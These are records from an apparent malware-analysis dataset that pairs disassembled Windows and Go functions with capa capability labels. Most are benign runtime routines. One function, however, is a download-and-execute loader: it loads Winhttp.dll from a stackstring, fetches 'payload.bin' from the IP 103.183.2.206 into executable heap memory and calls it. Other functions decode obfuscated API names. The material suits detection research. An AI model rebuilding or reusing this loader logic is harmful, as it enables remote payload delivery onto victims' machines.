joyce8/EMBER2024-capa huggingface dataset:
Function at 0x479dc0
Capabilities:
Hash data using fnv

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x479ffb
push rbp
mov rbp, rsp
sub rsp, 0x78
mov ebx, dword [rax + 0x2c]
test ebx, ebx
jne 0x479e5a
mov qword [rsp + 0x88], rax
lea rbx, [0x004d7900]
mov rcx, rax
lea rax, [0x0059daa0]
call sym.sync._Map_.Load
test cl, cl
jne 0x479e43
mov rax, qword [rsp + 0x88]
call sym.reflect._rtype_.String
mov ecx, 1
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x28]
lea rbx, [0x00504fb8]
call sym.runtime.concatstring2
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
call sym.reflect.typesByString
mov rcx, qword [rsp + 0x88]
xor edx, edx
jmp 0x479e77
lea rdx, [0x004d57e0]
cmp rax, rdx
jne 0x479e65
test byte [rbx], al
mov rax, rbx
add rsp, 0x78
pop rbp
ret
call sym.reflect.resolveTypeOff
add rsp, 0x78
pop rbp
ret
mov rbx, rdx
lea rcx, [0x004c18e0]
call sym.runtime.panicdottypeE
inc rdx
cmp rbx, rdx
jle 0x479ec1
mov rsi, qword [rax + rdx*8]
cmp qword [rsi + 0x30], rcx
jne 0x479e74
lea rax, [0x0059daa0]
lea rbx, [0x004d7900]
lea rdi, [0x004d57e0]
nop dword [rax + rax]
call sym.sync._Map_.LoadOrStore
lea rdx, [0x004d57e0]
cmp rax, rdx
jne 0x479feb
test byte [rbx], al
mov rax, rbx
add rsp, 0x78
pop rbp
nop
ret
lea rcx, [0x004b5ba0]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], 0
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x58], rcx
lea rax, [0x004c7d60]
call sym.runtime.newobject
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x58]
test byte [rcx], al
cmp dword [0x00622810], 0
nop
je 0x479f1b
mov rbx, rax
lea rax, [0x004c7d60]
call sym.runtime.wbMove
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rcx]
mov qword [rax], rdx
movups xmm0, xmmword [rcx + 8]
movups xmmword [rax + 8], xmm0
movups xmm0, xmmword [rcx + 0x18]
movups xmmword [rax + 0x18], xmm0
movups xmm0, xmmword [rcx + 0x28]
movups xmmword [rax + 0x28], xmm0
mov rbx, qword [rsp + 0x48]
xor ecx, ecx
xor edi, edi
xor esi, esi
mov r8d, esi
mov rax, qword [rsp + 0x50]
call sym.internal_abi.NewName
call sym.reflect.addReflectOff
mov rsi, qword [rsp + 0x70]
mov dword [rsi + 0x28], eax
mov dword [rsi + 0x2c], 0
mov rcx, qword [rsp + 0x88]
mov edx, dword [rcx + 0x10]
xor eax, eax
jmp 0x479f82
imul edx, edx, 0x1000193
xor edx, 0x2a
mov eax, 1
test rax, rax
jle 0x479f74
mov dword [rsi + 0x10], edx
cmp dword [0x00622810], 0
je 0x479fa3
call sym.runtime.gcWriteBarrier2
mov qword [r11], rcx
mov rdx, qword [rsi + 0x30]
mov qword [r11 + 8], rdx
mov qword [rsi + 0x30], rcx
lea rax, [0x0059daa0]
lea rbx, [0x004d7900]
lea rdi, [0x004d57e0]
nop dword [rax]
call sym.sync._Map_.LoadOrStore
lea rdx, [0x004d57e0]
cmp rax, rdx
jne 0x479fdc
test byte [rbx], al
mov rax, rbx
add rsp, 0x78
pop rbp
ret
mov rbx, rdx
lea rcx, [0x004c18e0]
call sym.runtime.panicdottypeE
mov rbx, rdx
lea rcx, [0x004c18e0]
call sym.runtime.panicdottypeE
nop
mov qword [rsp + 8], rax
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
jmp sym.reflect._rtype_.ptrTo
Function at 0x4858e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4859aa
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call sym.internal_bytealg.IndexByteString.abi0
xorps xmm15, xmm15
mov r14, qword [0x006227e8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x48598f
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x004bbc20]
xor ebx, ebx
mov rcx, rdx
call sym.runtime.makeslice
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call sym.syscall.encodeWTF16
inc rbx
cmp rcx, rbx
jae 0x48597e
mov edi, 1
lea rsi, [0x004bbc20]
call sym.runtime.growslice
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x005068e8]
lea rsi, [0x00505f70]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.syscall.UTF16FromString

Function at 0x496f40
Capabilities:
Hash data using fnv

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x49767f
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
movabs rcx, 0xcbf29ce484222325
jmp 0x496f6d
lea rax, [rdx + 0x10]
dec rbx
mov rcx, rsi
test rbx, rbx
jle 0x4971f1
mov rdx, rax
mov rsi, qword [rax]
nop dword [rax]
test rsi, rsi
je 0x49721d
mov edi, dword [rsi + 0x10]
shr edi, 1
mov r8, qword [rax + 8]
and edi, 0x3f
lea rax, [0x005080c0]
jmp qword [rax + rdi*8]
mov rax, rcx
add rsp, 0x10
pop rbp
ret
lea rax, [0x004bbb20]
lea rbx, [0x005067a0]
call sym.runtime.gopanic
inc rax
cmp rax, r8
jge 0x497242
mov r9, qword [rsi + rax*8]
xor r10d, r10d
nop
jmp 0x497277
lea rdi, [0x004bbba0]
mov rsi, rcx
movabs rcx, 0x100000001b3
jmp 0x496f63
movzx r11d, r9b
xor rcx, r11
inc r10
shr r9, 8
movabs r11, 0x100000001b3
imul rcx, r11
cmp r10, 8
jl 0x49725b
jmp 0x497230
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp sym.internal_bisect.Hash

Function at 0x497820
Capabilities:
Hash data using fnv

Disassembly:
test byte [rax], al
mov rcx, rbx
and ebx, 0x7f
shl rbx, 5
lea rdx, [rax + rbx]
xor eax, eax
jmp 0x497837
inc rax
cmp rax, 4
jge 0x49784f
lea rbx, [rdx + rax*8]
mov rbx, qword [rbx]
cmp rbx, rcx
jne 0x497834
mov eax, 1
ret
xor eax, eax
movabs rbx, 0xcbf29ce484222325
jmp 0x497860
inc rax
cmp rax, 4
jge 0x49786e
mov rsi, qword [rdx + rax*8]
xor edi, edi
jmp 0x497897
and ebx, 3
lea rdx, [rdx + rbx*8]
xchg qword [rdx], rcx
xor eax, eax
ret
movzx r8d, sil
xor rbx, r8
inc rdi
shr rsi, 8
movabs r8, 0x100000001b3
imul rbx, r8
cmp rdi, 8
jl 0x49787b
jmp 0x49785d
Function at 0x1400011c0
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor ebp, ebp
mov dword [rsp + 0x24], ebp
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx], rbp
mov qword [rcx + 8], rbp
mov qword [rcx + 0x10], rbp
mov dword [rsp + 0x24], 1
mov ecx, 0x104
call fcn.140004ad4
mov rsi, rax
xor edx, edx
mov r8d, 0x104
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov rdx, rsi
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov rbx, rsi
nop dword [rax]
movzx eax, byte [rbx]
test al, al
je 0x1400012e9
mov byte [rsp + 0x20], al
movzx eax, byte [rbx + 1]
mov byte [rsp + 0x21], al
movzx eax, byte [rbx + 2]
mov byte [rsp + 0x22], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], rbp
mov r8d, 3
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x28]
call fcn.140003e80
nop
mov rdx, qword [rdi + 8]
cmp rdx, qword [rdi + 0x10]
je 0x1400012a3
movups xmm0, xmmword [rsp + 0x28]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0x38]
movups xmmword [rdx + 0x10], xmm1
mov edx, 0xf
mov byte [rsp + 0x28], 0
add qword [rdi + 8], 0x20
jmp 0x1400012b5
lea r8, [rsp + 0x28]
mov rcx, rdi
call fcn.140004560
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x1400012e9
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400012e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000131d
call fcn.140004a90
add rbx, 4
mov rax, rbx
sub rax, rsi
cmp rax, 0x64
jl 0x140001230
mov rcx, rsi
call fcn.140004a90
mov rax, rdi
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140005600
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000564a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000564a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000564a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000564a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000564a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000564c
xor al, al
add rsp, 0x28
ret
Function at 0x140001032
Capabilities:
Terminate process

Disassembly:
jmp 0x140002090
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xc0
mov rdi, rsp
mov ecx, 0x30
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xd0]
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xb8], rax
mov eax, 0x57
mov word [rsp + 0x28], ax
mov eax, 0x69
mov word [rsp + 0x2a], ax
mov eax, 0x6e
mov word [rsp + 0x2c], ax
mov eax, 0x68
mov word [rsp + 0x2e], ax
mov eax, 0x74
mov word [rsp + 0x30], ax
mov eax, 0x74
mov word [rsp + 0x32], ax
mov eax, 0x70
mov word [rsp + 0x34], ax
mov eax, 0x2e
mov word [rsp + 0x36], ax
mov eax, 0x64
mov word [rsp + 0x38], ax
mov eax, 0x6c
mov word [rsp + 0x3a], ax
mov eax, 0x6c
mov word [rsp + 0x3c], ax
xor eax, eax
mov word [rsp + 0x3e], ax
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x140077ae8], rax
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov qword [rsp + 0x48], rax
call fcn.140001014
mov qword [0x140077af0], rax
mov r8d, 0x118
lea rdx, str.103.183.2.206
mov rcx, qword [0x140077af0]
call fcn.140001037
mov qword [0x140077af8], rax
lea rdx, str.payload.bin
mov rcx, qword [0x140077af8]
call fcn.14000103c
mov qword [0x140077b00], rax
mov rcx, qword [0x140077b00]
call fcn.140001046
mov dword [0x140077940], eax
mov rcx, qword [0x140077b00]
call fcn.14000100f
mov dword [0x140077940], eax
lea rcx, [0x140077b08]
call fcn.140001019
mov r8, qword [0x140077b00]
lea rdx, [0x140077b08]
mov rcx, qword [rsp + 0x48]
call fcn.140001023
mov qword [rsp + 0x50], rax
mov rcx, qword [0x140077b00]
call qword [0x140077b18]
mov rcx, qword [0x140077af8]
call qword [0x140077b18]
mov rcx, qword [0x140077af0]
call qword [0x140077b18]
call qword [rsp + 0x50]
xor ecx, ecx
call fcn.1400035a0
mov r9d, 0x64
lea r8, [0x140077a20]
mov edx, 0x67
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.USER32.dll_LoadStringW]
mov r9d, 0x64
lea r8, [0x140077950]
mov edx, 0x6d
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.USER32.dll_LoadStringW]
mov rcx, qword [rsp + 0xd0]
call fcn.14000101e
mov edx, dword [rsp + 0xe8]
mov rcx, qword [rsp + 0xd0]
call fcn.140001005
test eax, eax
jne 0x14000229f
xor eax, eax
jmp 0x140002309
mov edx, 0x6d
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov qword [rsp + 0xa8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x68]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140002305
lea r8, [rsp + 0x68]
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x140002303
lea rcx, [rsp + 0x68]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x68]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x1400022ba
mov eax, dword [rsp + 0x78]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1400634f0]
call fcn.140002fc0
mov rax, rdi
mov rcx, qword [rsp + 0xb8]
xor rcx, rsp
call fcn.140002fa0
add rsp, 0xc0
pop rdi
ret
Function at 0x1400015e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x1400015e0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xd0
mov rdi, rsp
mov ecx, 0x34
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xe0]
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xc8], rax
mov byte [rsp + 0x48], 0x32
mov byte [rsp + 0x49], 4
mov byte [rsp + 0x4a], 0x23
mov byte [rsp + 0x4b], 4
mov byte [rsp + 0x4c], 0x1c
mov byte [rsp + 0x4d], 6
mov byte [rsp + 0x4e], 0x40
mov byte [rsp + 0x4f], 0x20
mov byte [rsp + 0x50], 0x47
mov byte [rsp + 0x51], 0x34
mov byte [rsp + 0x52], 0xb
mov byte [rsp + 0x53], 0x3f
mov byte [rsp + 0x54], 0x28
mov byte [rsp + 0x55], 0x3d
mov byte [rsp + 0x56], 0x1d
mov byte [rsp + 0x57], 0x17
mov byte [rsp + 0x58], 0x43
mov byte [rsp + 0x59], 0x1b
mov byte [rsp + 0x5a], 0
mov eax, 0x65
mov word [rsp + 0x78], ax
mov eax, 0x6d
mov word [rsp + 0x7a], ax
mov eax, 0x4d
mov word [rsp + 0x7c], ax
mov eax, 0x4c
mov word [rsp + 0x7e], ax
mov eax, 0x68
mov word [rsp + 0x80], ax
mov eax, 0x72
mov word [rsp + 0x82], ax
mov eax, 0x30
mov word [rsp + 0x84], ax
mov eax, 0x6f
mov word [rsp + 0x86], ax
mov eax, 0x37
mov word [rsp + 0x88], ax
mov eax, 0x51
mov word [rsp + 0x8a], ax
xor eax, eax
mov word [rsp + 0x8c], ax
mov eax, 0x47
mov word [rsp + 0xa8], ax
mov eax, 0x45
mov word [rsp + 0xaa], ax
mov eax, 0x54
mov word [rsp + 0xac], ax
xor eax, eax
mov word [rsp + 0xae], ax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x13
lea r9, [rsp + 0x48]
mov r8d, 0x2e
mov edx, 0x43
mov ecx, 0x20
call fcn.140001028
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0xe8]
lea rdx, [rsp + 0xa8]
mov rcx, qword [rsp + 0xe0]
call rax
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140063070]
call fcn.140002fc0
mov rax, rdi
mov rcx, qword [rsp + 0xc8]
xor rcx, rsp
call fcn.140002fa0
add rsp, 0xd0
pop rdi
ret
Function at 0x1400017e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x1400017e0
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xb0
mov rdi, rsp
mov ecx, 0x2c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xc0]
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov byte [rsp + 0x48], 0x22
mov byte [rsp + 0x49], 4
mov byte [rsp + 0x4a], 1
mov byte [rsp + 0x4b], 0x18
mov byte [rsp + 0x4c], 0x25
mov byte [rsp + 0x4d], 0x3b
mov byte [rsp + 0x4e], 5
mov byte [rsp + 0x4f], 0x3b
mov byte [rsp + 0x50], 0x1d
mov byte [rsp + 0x51], 0xa
mov byte [rsp + 0x52], 0x11
mov byte [rsp + 0x53], 0x3f
mov byte [rsp + 0x54], 0xa
mov byte [rsp + 0x55], 0x21
mov byte [rsp + 0x56], 0x24
mov byte [rsp + 0x57], 0x2a
mov byte [rsp + 0x58], 6
mov byte [rsp + 0x59], 0x1c
mov byte [rsp + 0x5a], 0
mov eax, 0x75
mov word [rsp + 0x78], ax
mov eax, 0x6d
mov word [rsp + 0x7a], ax
mov eax, 0x6f
mov word [rsp + 0x7c], ax
mov eax, 0x50
mov word [rsp + 0x7e], ax
mov eax, 0x51
mov word [rsp + 0x80], ax
mov eax, 0x4f
mov word [rsp + 0x82], ax
mov eax, 0x75
mov word [rsp + 0x84], ax
mov eax, 0x68
mov word [rsp + 0x86], ax
mov eax, 0x78
mov word [rsp + 0x88], ax
mov eax, 0x64
mov word [rsp + 0x8a], ax
xor eax, eax
mov word [rsp + 0x8c], ax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x13
lea r9, [rsp + 0x48]
mov r8d, 0x102
mov edx, 0xff
mov ecx, 0xfe
call fcn.140001028
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0xc0]
call rax
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140063120]
call fcn.140002fc0
mov rax, rdi
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140002fa0
add rsp, 0xb0
pop rdi
ret
Function at 0x140001980
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x140001980
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xa0
mov rdi, rsp
mov ecx, 0x28
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xb0]
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov byte [rsp + 0x38], 1
mov byte [rsp + 0x39], 0x2e
mov byte [rsp + 0x3a], 3
mov byte [rsp + 0x3b], 0x24
mov byte [rsp + 0x3c], 0x41
mov byte [rsp + 0x3d], 0x39
mov byte [rsp + 0x3e], 0x1e
mov byte [rsp + 0x3f], 0x1d
mov byte [rsp + 0x40], 0xb
mov byte [rsp + 0x41], 0x2d
mov byte [rsp + 0x42], 0x33
mov byte [rsp + 0x43], 0x2e
mov byte [rsp + 0x44], 0x1b
mov byte [rsp + 0x45], 9
mov byte [rsp + 0x46], 0x67
mov byte [rsp + 0x47], 0x28
mov byte [rsp + 0x48], 0x1d
mov byte [rsp + 0x49], 0x3f
mov byte [rsp + 0x4a], 1
mov byte [rsp + 0x4b], 0x20
mov byte [rsp + 0x4c], 0x25
mov byte [rsp + 0x4d], 0x22
mov byte [rsp + 0x4e], 0
mov eax, 0x56
mov word [rsp + 0x68], ax
mov eax, 0x47
mov word [rsp + 0x6a], ax
mov eax, 0x6d
mov word [rsp + 0x6c], ax
mov eax, 0x6c
mov word [rsp + 0x6e], ax
mov eax, 0x35
mov word [rsp + 0x70], ax
mov eax, 0x4d
mov word [rsp + 0x72], ax
mov eax, 0x6e
mov word [rsp + 0x74], ax
mov eax, 0x4f
mov word [rsp + 0x76], ax
mov eax, 0x6e
mov word [rsp + 0x78], ax
mov eax, 0x4e
mov word [rsp + 0x7a], ax
xor eax, eax
mov word [rsp + 0x7c], ax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x17
lea r9, [rsp + 0x38]
mov r8d, 0x190
mov edx, 0x12c
mov ecx, 0xc8
call fcn.140001028
xor edx, edx
mov rcx, qword [rsp + 0xb0]
call rax
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1400631d0]
call fcn.140002fc0
mov rax, rdi
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.140002fa0
add rsp, 0xa0
pop rdi
ret
Function at 0x140004267
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [section..data]
jne 0x140002fba
rol rcx, 0x10
test cx, 0xffff
jne 0x140002fb6
repz ret
ror rcx, 0x10
jmp 0x1400041c0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140077cb0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140077da8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140004245
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140077cb0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140004267
mov rax, qword [rsp + 0x88]
mov qword [0x140077da8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140077d48], rax
mov rax, qword [0x140077da8]
mov qword [0x140077c20], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140077d30], rax
mov dword [0x140077c10], 0xc0000409
mov dword [0x140077c14], 1
mov rax, qword [section..data]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140076008]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140077ca8], eax
mov ecx, 1
call fcn.1400101d0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140063998]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140077ca8], 0
jne 0x1400042ee
mov ecx, 1
call fcn.1400101d0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x40a6c0
Capabilities:
Get socket status

Disassembly:
sub rsp, 0x258
xor r9d, r9d
xor r8d, r8d
lea rax, [rsp + 0x38]
mov qword [rsp + 0x48], rcx
add ecx, 1
mov dword [rsp + 0x38], edx
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x3c], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
setg al
add rsp, 0x258
ret
mov rax, qword [rcx + 0x128]
cmp byte [rax], 0
je 0x40dbd8
mov eax, 1
ret
mov rcx, qword [rcx + 0x118]
jmp 0x40a6c0

Function at 0x40a710
Capabilities:
Get socket status

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x258
mov r12, rcx
mov rcx, r8
mov rdi, r8
mov rbp, rdx
call sub.msvcrt.dll_strlen
lea ebx, [rax + 1]
cdqe
mov byte [rdi + rax], 0xa
test ebx, ebx
jle 0x40a7b2
lea r14, [rsp + 0x40]
xor esi, esi
lea r13, [rsp + 0x38]
lea r15, [rsp + 0x34]
nop word [rax + rax]
mov rcx, qword [rbp]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], r13
mov qword [rsp + 0x38], 0
mov r8, r14
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x48], rcx
add ecx, 1
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x40a7c5
mov rcx, qword [r12]
lea rdx, [rdi + rsi]
mov r9, r15
movsxd r8, ebx
call qword [sym.imp.libcurl_4.dll_curl_easy_send]
test eax, eax
jne 0x40a7c0
movsxd rdx, dword [rsp + 0x34]
sub ebx, edx
add rsi, rdx
test ebx, ebx
jg 0x40a758
mov eax, 1
jmp 0x40a7c7
cmp eax, 0x51
je 0x40a758
xor eax, eax
add rsp, 0x258
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x40bfe0
Capabilities:
Query environment variable

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x148
mov qword [rsp + 0x40], 0
mov rbx, rcx
mov r13, rdx
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xe8], 0
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], 0
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x118], 0
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call qword [sym.imp.libcurl_4.dll_curl_easy_init]
mov r12, rax
test rax, rax
je 0x40c320
lea rsi, [rsp + 0x40]
mov r8, rbx
mov rcx, rax
mov rbx, qword [sym.imp.libcurl_4.dll_curl_easy_setopt]
mov edx, 0x2712
call rbx
mov r8d, 1
mov edx, 0x4a
mov rcx, r12
call rbx
mov r8d, 0xf
mov edx, 0x4e
mov rcx, r12
call rbx
mov r8, rsi
mov edx, 0x271a
mov rcx, r12
call rbx
mov r8d, 1
mov edx, 0x63
mov rcx, r12
call rbx
mov r8d, 1
mov edx, 0x79
mov rcx, r12
call rbx
lea r8, [0x0040a5f0]
mov edx, 0x4e2b
mov rcx, r12
call rbx
lea r8, [rsp + 0x20]
mov edx, 0x2711
mov rcx, r12
call rbx
mov rax, qword [0x0062b780]
mov r8, qword [rax]
test r8, r8
je 0x40c2b0
mov edx, 0x2714
mov rcx, r12
call rbx
mov rax, qword [0x0062b790]
mov edx, 0x65
mov rcx, r12
mov r8d, dword [rax]
call rbx
mov rcx, r12
call qword [sym.imp.libcurl_4.dll_curl_easy_perform]
test eax, eax
jne 0x40c300
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x40c26b
cmp qword [rsp + 0x28], 0
jne 0x40c2a0
lea rdx, str.Empty_data_received_for_config
mov ecx, 1
xor r13d, r13d
call fcn.0040a7e0
mov rcx, r12
call qword [sym.imp.libcurl_4.dll_curl_easy_cleanup]
mov rax, r13
add rsp, 0x148
pop rbx
pop rsi
pop r12
pop r13
ret
mov r8, r13
xor edx, edx
call fcn.00592aa0
mov r13, rax
jmp 0x40c27f
lea rcx, str.http_proxy
call sub.msvcrt.dll_getenv
test rax, rax
je 0x40c248
lea rcx, str.all_proxy
call sub.msvcrt.dll_getenv
lea rcx, str.all_proxy
test rax, rax
je 0x40c340
call sub.msvcrt.dll_getenv
mov rcx, r12
mov edx, 0x2714
mov r8, rax
call rbx
mov rcx, r12
call qword [sym.imp.libcurl_4.dll_curl_easy_perform]
test eax, eax
je 0x40c259
nop dword [rax]
mov r8, rsi
mov ecx, 1
xor r13d, r13d
lea rdx, str.Remote_config_read_failed:__s
call fcn.0040a7e0
jmp 0x40c27f
lea rdx, str.Remote_config_init_failed_
mov ecx, 1
xor r13d, r13d
call fcn.0040a7e0
